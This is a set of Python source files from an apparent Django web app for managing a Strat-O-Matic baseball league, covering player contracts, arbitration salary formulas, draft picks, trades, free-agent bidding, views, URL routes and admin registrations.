year=team_dict['team'].year) pitcher = PitcherCardStats.objects.filter(player=p['id'], year=team_dict['team'].year) if hitter.count(): team_dict['card_stats']['hitters'].append(hitter[0]) if pitcher.count(): team_dict['card_stats']['pitchers'].append(pitcher[0]) if (hitter.count() + pitcher.count()) == 0: team_dict['card_stats']['uncarded'].append(p['player']) return team_dict def collect_salaries(team_dict): """ Takes the team_dict, looks up all the salaries and sums them for the next 5 years. return list of 5 integers, the total of all the salaries """ salaries = [0, 0, 0, 0, 0] for c in team_dict['roster']: for i in range(5): if (c['contract'].contract_season + i) <= c['contract'].length: salaries[i] += c['contract'].salary return salaries def collect_adjustment_totals(team_dict): """ Takes the team_dict, looks up all the adjustments and sums them for the next 5 years. return list of 5 integers, the total of all the payroll adjustments """ franchise = team_dict['team'].franchise.id year = team_dict['team'].year adjustments = Payroll.objects.filter( Q(paying=franchise) | Q(receiving=franchise) ) adjustments = adjustments.filter(year__gte=year).order_by('note', 'year') adjustments_list = [0, 0, 0, 0, 0] for a in adjustments: if a.receiving is not None: if a.receiving.id == franchise: adjustments_list[a.year - year] -= a.money if a.paying is not None: if a.paying.id == franchise: adjustments_list[a.year - year] += a.money return adjustments_list def collect_adjustments(team_dict): """ Takes the team_dict and adds the adjustment key, adjustment is a list of dicts with keys notes and money. return team_dict """ team_dict['adjustment'] = [] adjustments = Payroll.objects.filter( Q(paying=team_dict['team'].franchise) | Q(receiving=team_dict['team'].franchise) ) adjustments = adjustments.filter(year__gte=team_dict['team'].year).order_by('note', 'year') for a in adjustments: money = a.money year = a.year - team_dict['team'].year if a.receiving is not None: if a.receiving == team_dict['team'].franchise: money = money * -1 exists = False for d in team_dict['adjustment']: if a.note == d['note']: exists = True if exists: for d in team_dict['adjustment']: if a.note == d['note']: d['money'][year] = money else: add_dict = { 'note': a.note, 'money': [0, 0, 0, 0, 0], } add_dict['money'][year] = money team_dict['adjustment'].append(add_dict.copy()) return team_dict def collect_contract_display(contract): """ Takes a contract object and returns a dict for displaying that contract properly in the payroll view. Also verifies that the display list is at least 5 seasons long return contract dict with keys: contract, display, year_display """ progression = ['AA', 'Y1', 'Y2', 'Y3', 'Arb4', 'Arb5', 'Arb6', 'FA', '', '', ''] contract_dict = { 'contract': contract, 'display': contract.display_contract(), 'year_display': [] } contract_dict['year_display'].append(contract.salary) if contract.type in 'DFLUX': for i in range(min(contract.length - contract.contract_season, 4)): contract_dict['year_display'].append(contract.salary) if len(contract_dict['year_display']) < 5: contract_dict['year_display'].append('FA') else: t = contract.type if len(t) == 3: t = t[:2] season = progression.index(t) contract_dict['year_display'].extend(progression[season + 1:season + 5]) while len(contract_dict['year_display']) < 5: contract_dict['year_display'].append('') return contract_dict def collect_renewable(team_dict): """ Takes team_dict and returns a list of dicts with the keys for players: id, player, contract. return arbitration (type list) """ renewable = [] renewable_list = ['AA', 'AAA', 'Y1', 'Y1*', 'Y2', 'Y2*', 'Y3', 'Y3*'] for r in team_dict['roster']: if r['contract'].type in renewable_list: renewable.append(r) return renewable def collect_guarenteed(team_dict): """ Takes team_dict and returns a list of dicts with the keys for players: id, player, contract. return arbitration (type list) """ guarenteed = [] for r in team_dict['roster']: if r['contract'].type in 'DFLUX': guarenteed.append(r) return guarenteed def collect_arbitration(team_dict): """ Takes team_dict and returns a list of dicts with the keys for players: id, player, contract, minimum, median and maximum, the last 3 are related directly to the arbitration contract values. return arbitration (type list) """ arbitration = [] for r in team_dict['roster']: if 'Arb' in r['contract'].type: new_dict = { 'contract': r['contract'], 'id': r['id'], 'player': r['player'], } new_arb = Arbitration.objects.filter(player=r['player'], year=r['contract'].year)[0] new_dict['minimum'] = new_arb.minimum_contract() new_dict['median'] = new_arb.median_contract() new_dict['maximum'] = new_arb.maximum_contract() arbitration.append(new_dict) return arbitration def collect_draft_pick(team_dict): """ Takes the team_dict and adds the draft_pick key, draft_pick is a list of dicts with keys pick and number. return team_dict """ team_dict['draft_pick'] = [] pick_list = DraftPick.objects.filter(owner=team_dict['team'].franchise.id, year=team_dict['team'].year) for p in pick_list: number = ((p.round - 1) * 16) + p.order dft_pick = { 'pick': p, 'number': number, } team_dict['draft_pick'].append(dft_pick) return team_dict
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,138
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/player_helper.py
from league.models.transactions import AvailableFreeAgent, AvailableDraftPick from league.models.players import HitterCardStats, \ Contract from league.models.players import HitterCardStats, \ Contract from league.models.transactions import AvailableFreeAgent, AvailableDraftPick def collect_team(player, year): team = '' contract = Contract.objects.filter(player=player, year=year) if len(contract) == 1: team = '{} {}'.format(contract[0].team.location, contract[0].team.nickname) elif len(contract) == 0: free_agents = AvailableFreeAgent.objects.filter(player=player, year=year) if len(free_agents) == 1: team = 'Free Agent' else: draft_picks = AvailableDraftPick.objects.filter(player=player, year=year) if len(draft_picks) == 1: team = 'Available in Draft' return team def collect_player_position(player): position = '' if player.player_type == 'p': position += 'Pitcher, ' if player.player_type == 'x': position += 'Pitcher, ' if player.player_type in 'hx': cards = HitterCardStats.objects.filter(player=player) defensive_strings = '' for c in cards: defensive_strings += '{} '.format(c.defensive_string) while len(defensive_strings) > 3: if defensive_strings[:2] == 'c-': if 'Catcher' not in position: position += 'Catcher, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == '1b-': if 'Firstbase' not in position: position += 'Firstbase, ' defensive_strings = defensive_strings[3:] elif defensive_strings[:3] == '2b-': if 'Secondbase' not in position: position += 'Secondbase, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == '3b-': if 'Thirdbase' not in position: position += 'Thirdbase, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == 'ss-': if 'Shortstop' not in position: position += 'Shortstop, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == 'lf-': if 'Left Field' not in position: position += 'Left Field, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == 'cf-': if 'Center Field' not in position: position += 'Center Field, ' defensive_strings = defensive_strings[2:] elif defensive_strings[:3] == 'rf-': if 'Right Field' not in position: position += 'Right Field, ' else: defensive_strings = defensive_strings[1:] position = position[:-2] return position
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,139
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/league.py
from django.shortcuts import render, get_list_or_404 from django.utils import timezone from django.views import View from league.models.teams import Team from league.models.transactions import DraftPick, AvailableFreeAgent, AvailableDraftPick from .league_helper import collect_trades, collect_trade class LeagueDraft(View): def get(self, request, year=None): if year is None: year = timezone.now().year context = { 'year': year, } return render(request, 'league/league/draft.html', context) class LeagueDraftPicks(View): def get(self, request, year=None): if year is None: year = timezone.now().year teams = get_list_or_404(Team.objects.filter(year=year)) picks = get_list_or_404(DraftPick.objects.filter(year=year) .order_by('round', 'order')) draft_picks = [] for p in picks: number = ((p.round - 1) * 16) + p.order dft_pick = { 'pick': p, 'number': number, } draft_picks.append(dft_pick) context = { 'teams': teams, 'draft_picks': draft_picks } return render(request, 'league/league/draft_picks.html', context) class LeagueDraftPlayers(View): def get(self, request, year=None): if year is None: year = timezone.now().year draft_players = AvailableDraftPick.objects.filter(year=year) context = { 'year': year, 'draft_players': draft_players, } return render(request, 'league/league/draft_players.html', context) class LeagueTradesIndex(View): def get(self, request, year=None): if year is None: year = timezone.now().year trades = collect_trades(year) context = { 'trades': trades, 'year': year, } return render(request, 'league/league/trade_index.html', context) class TradeDetail(View): def get(self, request, id): trade = collect_trade(id) context = { 'trade': trade } return render(request, 'league/league/trade_detail.html', context) class LeagueFreeAgentIndex(View): def get(self, request, year=None): if year is None: year = timezone.now().year free_agents = AvailableFreeAgent.objects.filter(year=year) context = { 'free_agents': free_agents, 'year': year, } return render(request, 'league/league/free_agents.html', context)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,140
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/urls.py
from django.urls import path from .views import players, teams, league app_name = 'league' urlpatterns = [ path('players/', players.IndexView.as_view(), name='player_index'), path('players/<str:player_id>/', players.PlayerDetail.as_view(), name='player_detail'), # path('players/<str:player_id>/contract', views.contract, name='player_contract'), path('teams/', teams.TeamIndex.as_view(), name='team_index'), path('teams/<int:year>', teams.TeamIndex.as_view(), name='team_index'), path('teams/<int:year>/<str:abbreviation>/', teams.team_detail, name='team_detail'), path('teams/<int:year>/<str:abbreviation>/stats/', teams.team_detail, name='team_stats'), path('teams/<int:year>/<str:abbreviation>/roster/', teams.TeamRoster.as_view(), name='team_roster'), path('teams/<int:year>/<str:abbreviation>/contracts/', teams.TeamContracts.as_view(), name='team_contracts'), path('teams/<int:year>/<str:abbreviation>/arbitration/', teams.TeamArbitration.as_view(), name='team_arbitration'), path('teams/<int:year>/<str:abbreviation>/draft_picks/', teams.TeamDraftPick.as_view(), name='team_draft_picks'), path('draft', league.LeagueDraft.as_view(), name='draft'), path('draft/<int:year>/picks_index', league.LeagueDraftPicks.as_view(), name='draft_picks_index'), path('draft/<int:year>/players_index', league.LeagueDraftPlayers.as_view(), name='draft_players_index'), path('trades', league.LeagueTradesIndex.as_view(), name='trades_index'), path('trades/<int:id>', league.TradeDetail.as_view(), name='trade_detail'), path('free_agents', league.LeagueFreeAgentIndex.as_view(), name='free_agent_index'), ]
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,141
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/models/transactions.py
from decimal import * from django.contrib.auth import get_user_model as User from django.db import models from django.utils import timezone from .players import Player, Contract from .teams import Franchise class Arbitration(models.Model): player = models.ForeignKey(Player, on_delete=models.PROTECT) year = models.IntegerField(default=1) type = models.CharField(max_length=6) war_sub_0 = models.DecimalField(max_digits=3, decimal_places=1) war_sub_1 = models.DecimalField(max_digits=3, decimal_places=1) war_sub_2 = models.DecimalField(max_digits=3, decimal_places=1) war_sub_3 = models.DecimalField(max_digits=3, decimal_places=1) def minimum_contract_value(self): min_contract = 0 if self.type == 'Arb4': min_contract = 850000 elif self.type == 'Arb5': min_contract = 1000000 previous_contract = Contract.objects.filter(year=int(self.year)-1, player=self.player) salary = previous_contract[0].salary if salary > min_contract: min_contract = salary elif self.type == 'Arb6': min_contract = 1250000 previous_contract = Contract.objects.filter(year=int(self.year)-1, player=self.player) salary = previous_contract[0].salary if salary > min_contract: min_contract = salary return min_contract # TODO: Find previous contract and insert into minimum contract class Meta: ordering = ['-year', 'player'] def __str__(self): return "{}, {}".format(self.player.last_name, self.player.first_name) def war_value(self): war = Decimal(0) war += max(Decimal(self.war_sub_0), Decimal('0.5')) * 10 war += max(Decimal(self.war_sub_1), Decimal('0.5')) * 6 war += max(Decimal(self.war_sub_2), Decimal('0.5')) * 4 war += max(Decimal(self.war_sub_3), Decimal('0.5')) * 3 war = war / Decimal('23') war = war * Decimal('1250000') return war def minimum_contract(self): if self.type == 'Arb4': min_value = self.war_value() * Decimal('0.638') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb5': min_value = self.war_value() * Decimal('0.788') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb6': min_value = self.war_value() * Decimal('1.038') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value def median_contract(self): if self.type == 'Arb4': min_value = self.war_value() * Decimal('0.850') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb5': min_value = self.war_value() * Decimal('1.000') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb6': min_value = self.war_value() * Decimal('1.250') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value def maximum_contract(self): if self.type == 'Arb4': min_value = self.war_value() * Decimal('1.062') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb5': min_value = self.war_value() * Decimal('1.212') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value elif self.type == 'Arb6': min_value = self.war_value() * Decimal('1.462') min_value = int(round(float(min_value) / 25000.0) * 25000.0) if min_value < self.minimum_contract_value(): return self.minimum_contract_value() else: return min_value class DraftPick(models.Model): year = models.IntegerField() round = models.IntegerField() order = models.IntegerField(null=True, blank=True, verbose_name="Order in Round") original_team = models.ForeignKey(Franchise, related_name='original', on_delete=models.PROTECT) owner = models.ForeignKey(Franchise, verbose_name='Owner of Pick', related_name='pick_owner', on_delete=models.PROTECT) player = models.ForeignKey(Player, null=True, blank=True, verbose_name="Player Selected", on_delete=models.PROTECT) time = models.DateTimeField(null=True, blank=True, verbose_name="Date/Time Selected") passed = models.BooleanField(default=False) class Meta: ordering = ['-year', 'order', 'round'] def toOrdinalNum(self): return str(self.round) + {1: 'st', 2: 'nd', 3: 'rd'}.get(4 if 10 <= int(self.round) % 100 < 20 else int(self.round) % 10, "th") def __str__(self): return "{}'s {} round pick-{}".format(self.original_team.location, self.toOrdinalNum(), self.year) class Trades(models.Model): date = models.DateTimeField() year = models.IntegerField(verbose_name="League Season") teams = models.ManyToManyField(Franchise) notes = models.TextField(null=True, blank=True) story = models.TextField(null=True, blank=True) class TradePart(models.Model): trade = models.ForeignKey(Trades, on_delete=models.PROTECT) team_receiving = models.ForeignKey(Franchise, related_name='receiving_in_trade', on_delete=models.PROTECT) team_giving = models.ForeignKey(Franchise, related_name='giving_in_trade', on_delete=models.PROTECT) class TradePlayer(TradePart): player = models.ForeignKey(Player, on_delete=models.PROTECT) class TradePick(TradePart): draft_pick = models.ForeignKey(DraftPick, on_delete=models.PROTECT) class TradeMoney(TradePart): money = models.IntegerField() year = models.IntegerField(verbose_name='Effective In Year') payroll_note = models.TextField() class AvailableDraftPick(models.Model): player = models.ForeignKey(Player, on_delete=models.PROTECT) year = models.IntegerField() contract = models.CharField(max_length=4) salary = models.IntegerField() class Meta: ordering = ['-year', 'player'] def __str__(self): return '{}, {}-Draft Pick'.format(self.player.last_name, self.player.first_name) class AvailableFreeAgent(models.Model): player = models.ForeignKey(Player, on_delete=models.PROTECT) year = models.IntegerField() bid_time_stamp = models.DateTimeField(null=True, blank=True) bid_team = models.ForeignKey(Franchise, on_delete=models.PROTECT, null=True, blank=True) bid_length = models.IntegerField(null=True, blank=True) bid_salary = models.IntegerField(null=True, blank=True) auction_starts = models.DateTimeField(null=True, blank=True) auction_ends = models.DateTimeField(null=True, blank=True) class Meta: ordering = ['-year', 'player'] def __str__(self): return '{}, {}-Free Agent'.format(self.player.last_name, self.player.first_name) def bid_value(self): if self.bid_time_stamp is None: return None else: multiplier = [0, Decimal('1.00'), Decimal('1.55'), Decimal('1.90'), Decimal('2.20'), Decimal('2.45'), Decimal('2.65'), Decimal('2.80')] value = multiplier[int(str(self.bid_length))] * self.bid_salary return int(value) def auction_in_progress(self): if timezone.now() < self.auction_starts: return False elif timezone.now() > self.auction_ends: return False else: return True class FreeAgentBid(models.Model): free_agent = models.ForeignKey(AvailableFreeAgent, on_delete=models.CASCADE) bid_time_stamp = models.DateTimeField() bid_team = models.ForeignKey(Franchise, on_delete=models.PROTECT) bid_length = models.IntegerField() bid_salary = models.IntegerField() user = models.ForeignKey(User(), on_delete=models.PROTECT) class Meta: ordering = ['free_agent', '-bid_time_stamp'] def __str__(self): return '{}, {}-{}-Free Agent Bid'.format(self.free_agent.last_name, self.free_agent.first_name, self.bid_time_stamp) def is_high_bid(self): if self.bid_time_stamp == self.free_agent.bid_time_stamp: return True else: return False
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,142
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/admin.py
from django.contrib import admin from import_export.admin import ImportExportModelAdmin from .models import Player, Franchise, Team, \ Ballpark, Payroll, Contract, Arbitration, \ DraftPick, Trades, TradePlayer, TradePick, TradeMoney, \ AvailableDraftPick, AvailableFreeAgent, FreeAgentBid, \ HitterCardStats, PitcherCardStats @admin.register(Player) class PlayerAdmin(ImportExportModelAdmin): fieldsets = [ ('Player ID', {'fields': ['id']}), ('Player Info', {'fields': [ 'first_name', 'last_name', 'player_type', 'birth_year', 'bats', 'throws', 'active', ]}), ('Website Lookups', {'fields': [ 'bbref_id', 'mlb_id', 'bp_id', 'cbs_id', 'espn_id', 'fg_id' ]}), ] @admin.register(Contract) class ContractAdmin(ImportExportModelAdmin): fields = [ 'player', 'type', 'year', 'contract_season', 'length', 'salary', 'team' ] @admin.register(Franchise) class FranchiseAdmin(ImportExportModelAdmin): fields = [ 'id', 'location', 'nickname', 'owner' ] @admin.register(Team) class TeamAdmin(ImportExportModelAdmin): fields = [ 'id', 'year', 'abbreviation', 'franchise', 'location', 'nickname', 'owner', 'division', 'ballpark' ] @admin.register(Ballpark) class BallparkAdmin(ImportExportModelAdmin): fields = [ 'id', 'name', 'location', 'year', 'singles_left', 'singles_right', 'homeruns_left', 'homeruns_right' ] @admin.register(Payroll) class PayrollAdmin(ImportExportModelAdmin): fields = [ 'receiving', 'paying', 'year', 'money', 'note' ] @admin.register(Arbitration) class ArbitrationAdmin(ImportExportModelAdmin): fields = [ 'player', 'year', 'type', 'war_sub_0', 'war_sub_1', 'war_sub_2', 'war_sub_3', ] @admin.register(DraftPick) class DraftPickAdmin(ImportExportModelAdmin): fields = [ 'year', 'round', 'order', 'original_team', 'owner', 'player', 'time', 'passed', ] @admin.register(Trades) class TradesAdmin(ImportExportModelAdmin): fields = [ 'date', 'year', 'teams', 'notes', 'story', ] @admin.register(TradePlayer) class TradePlayerAdmin(ImportExportModelAdmin): fields = [ 'trade', 'team_receiving', 'team_giving', 'player', ] @admin.register(TradePick) class TradePickAdmin(ImportExportModelAdmin): fields = [ 'trade', 'team_receiving', 'team_giving', 'draft_pick', ] @admin.register(TradeMoney) class TradeMoneyAdmin(ImportExportModelAdmin): fields = [ 'trade', 'team_receiving', 'team_giving', 'money', 'year', 'payroll_note', ] @admin.register(AvailableDraftPick) class AvailableDraftPickAdmin(ImportExportModelAdmin): fields = [ 'player', 'year', 'contract', 'salary' ] @admin.register(AvailableFreeAgent) class AvailableFreeAgentAdmin(ImportExportModelAdmin): fields = [ 'player', 'year', 'bid_time_stamp', 'bid_team', 'bid_length', 'bid_salary', 'auction_starts', 'auction_ends' ] @admin.register(FreeAgentBid) class FreeAgentBidAdmin(ImportExportModelAdmin): fields = [ 'free_agent', 'bid_time_stamp', 'bid_team', 'bid_length', 'bid_salary', ] @admin.register(HitterCardStats) class HitterCardStatsAdmin(ImportExportModelAdmin): fields = [] @admin.register(PitcherCardStats) class PitcherCardStatsAdmin(ImportExportModelAdmin): fields = []
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,143
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/testvalue.py
teams = """ <table border="1"> <tr> <th colspan="2">Team</th> <th>Owner</th> <th>Ballpark</th> <th>Division</th> </tr> <tr> <td> <img src="/static/league/2017T0000.jpg" alt="Default Team Location 000 Default Team Name 000 Logo" /> </td> <td> <a href="/league/teams/2017/T0000/">Default Team Location 000 Default Team Name 000</a> </td> <td> <a href="mailto:"></a> </td> <td>2017 Default Ballpark Location 000</td> <td>AL West</td> </tr> <tr> <td> <img src="/static/league/2017T0001.jpg" alt="Default Team Location 001 Default Team Name 001 Logo" /> </td> <td> <a href="/league/teams/2017/T0001/">Default Team Location 001 Default Team Name 001</a> </td> <td> <a href="mailto:"></a> </td> <td>2017 Default Ballpark Location 001</td> <td>AL West</td> </tr> <tr> <td> <img src="/static/league/2017T0002.jpg" alt="Default Team Location 002 Default Team Name 002 Logo" /> </td> <td> <a href="/league/teams/2017/T0002/">Default Team Location 002 Default Team Name 002</a> </td> <td> <a href="mailto:"></a> </td> <td>2017 Default Ballpark Location 002</td> <td>AL West</td> </tr> </table>"""
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,144
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/homepage/views.py
from django.shortcuts import render from django.views import View class Index(View): user = False def get(self, request): user = None if request.user.is_authenticated: user = request.user context = { 'user': user, } return render(request, 'homepage/homepage.html', context)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,145
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/models/players.py
from django.db import models class Player(models.Model): id = models.CharField(primary_key=True, max_length=20) first_name = models.CharField(max_length=40) last_name = models.CharField(max_length=40) player_type = models.CharField(max_length=2) active = models.BooleanField(default=True) bats = models.CharField(max_length=1) throws = models.CharField(max_length=1) birth_year = models.IntegerField() bbref_id = models.CharField(max_length=20, null=True, blank=True) mlb_id = models.CharField(max_length=10, null=True, blank=True) bp_id = models.CharField(max_length=10, null=True, blank=True) cbs_id = models.CharField(max_length=10, null=True, blank=True) espn_id = models.CharField(max_length=10, null=True, blank=True) fg_id = models.CharField(max_length=10, null=True, blank=True) class Meta: ordering = ['last_name', 'first_name'] def __str__(self): return '{}, {}'.format(self.last_name, self.first_name) def batting_hand(self): if self.bats.lower() == 'l': return 'Left' elif self.bats.lower() == 'r': return 'Right' elif self.bats.lower() == 's' or self.bats.lower() == 'b': return 'Both' else: return 'Unknown' def throwing_hand(self): if self.throws.lower() == 'l': return 'Left' elif self.throws.lower() == 'r': return 'Right' elif self.throws.lower() == 's' or self.bats.lower() == 'b': return 'Both' else: return 'Unknown' class Contract(models.Model): player = models.ForeignKey(Player, db_column='player_id', on_delete=models.CASCADE) type = models.CharField(max_length=8) year = models.IntegerField(default=1) contract_season = models.IntegerField(default=1) length = models.IntegerField() salary = models.IntegerField() team = models.ForeignKey('league.Franchise', db_column='team', on_delete=models.PROTECT) class Meta: ordering = ['-year', 'player'] def __str__(self): return '{}, {} - {}'.format(self.player.last_name, self.player.first_name, self.year) contract_advance = { 0: 'AA', 1: 'Y1', 2: 'Y2', 3: 'Y3', 4: 'Arb4', 5: 'Arb5', 6: 'Arb6', 7: 'FA', 8: '', } contract_year = { 'AA': 0, 'AAA': 0, 'Y1': 1, 'Y1*': 1, 'Y2': 2, 'Y2*': 2, 'Y3': 3, 'Y3*': 3, 'Arb4': 4, 'Arb5': 5, 'Arb6': 6, } def display_contract(self): contract = '' if self.type in ['AA', 'AAA', 'Y1', 'Y2', 'Y3', 'Y1*', 'Y2*', 'Y3*']: contract += self.type else: if self.type in ['Arb4', 'Arb5', 'Arb6']: contract += self.type + ', ' else: contract += '{}-{} {}, '.format(self.contract_season, self.length, self.type) if int(self.salary) >= 1000000: contract += '${:.2f}M'.format(int(self.salary)/1000000) else: contract += '${:.0f}k'.format(int(self.salary)/1000) return contract def plus(self, yrs): if self.type in self.contract_year: return self.contract_advance[min(self.contract_year[self.type] + yrs, 8)] else: if self.contract_season + yrs <= self.length: return '${:,}'.format(self.salary) elif self.contract_season + yrs - 1 == self.length: return 'FA' else: return '' class PlayerCardStats(models.Model): player = models.ForeignKey(Player, on_delete=models.CASCADE) year = models.IntegerField() team = models.CharField(max_length=3, verbose_name='MLB Team') so_left = models.IntegerField() bb_left = models.IntegerField() hits_left = models.IntegerField() onbase_left = models.IntegerField() totalbase_left = models.IntegerField() homeruns_left = models.IntegerField() gba_left = models.IntegerField() triangles_left = models.IntegerField() diamonds_left = models.IntegerField() so_right = models.IntegerField() bb_right = models.IntegerField() hits_right = models.IntegerField() onbase_right = models.IntegerField() totalbase_right = models.IntegerField() homeruns_right = models.IntegerField() gba_right = models.IntegerField() triangles_right = models.IntegerField() diamonds_right = models.IntegerField() stealing = models.CharField(max_length=40) running = models.IntegerField() bunt_rating = models.CharField(max_length=1) hit_run_rating = models.CharField(max_length=1) class Meta: ordering = ['-year', 'player'] def h_l(self): return '{:3.0f}'.format(self.hits_left / 20) def ob_l(self): return '{:3.0f}'.format(self.onbase_left / 20) def tb_l(self): return '{:3.0f}'.format(self.totalbase_left / 20) def hr_l(self): return '{:4.1f}'.format(self.homeruns_left / 20) def gba_l(self): return '{:2.0f}'.format(self.homeruns_left / 20) def h_r(self): return '{:3.0f}'.format(self.hits_right / 20) def ob_r(self): return '{:3.0f}'.format(self.onbase_right / 20) def tb_r(self): return '{:3.0f}'.format(self.totalbase_right / 20) def hr_r(self): return '{:4.1f}'.format(self.homeruns_right / 20) def gba_r(self): return '{:2.0f}'.format(self.homeruns_right / 20) class HitterCardStats(PlayerCardStats): clutch_left = models.IntegerField() power_left = models.BooleanField() clutch_right = models.IntegerField() power_right = models.BooleanField() def_catcher_range = models.IntegerField(null=True, blank=True) def_catcher_error = models.IntegerField(null=True, blank=True) def_firstbase_range = models.IntegerField(null=True, blank=True) def_firstbase_error = models.IntegerField(null=True, blank=True) def_secondbase_range = models.IntegerField(null=True, blank=True) def_secondbase_error = models.IntegerField(null=True, blank=True) def_thirdbase_range = models.IntegerField(null=True, blank=True) def_thirdbase_error = models.IntegerField(null=True, blank=True) def_shortstop_range = models.IntegerField(null=True, blank=True) def_shortstop_error = models.IntegerField(null=True, blank=True) def_leftfield_range = models.IntegerField(null=True, blank=True) def_leftfield_error = models.IntegerField(null=True, blank=True) def_centerfield_range = models.IntegerField(null=True, blank=True) def_centerfield_error = models.IntegerField(null=True, blank=True) def_rightfield_range = models.IntegerField(null=True, blank=True) def_rightfield_error = models.IntegerField(null=True, blank=True) def_outfield_arm = models.IntegerField(null=True, blank=True) def_catcher_arm = models.IntegerField(null=True, blank=True) def_catcher_passedball = models.IntegerField(null=True, blank=True) def_catcher_t_rating = models.IntegerField(null=True, blank=True) defensive_string = models.CharField(null=True, blank=True, max_length=100) def bp_l(self): bp = '' if not self.power_left: bp += 'w' else: bp += '{}'.format(self.diamonds_left) if self.triangles_left == 0: bp += '\u25bc' return bp def cl_l(self): return '{:+d}'.format(self.clutch_left) 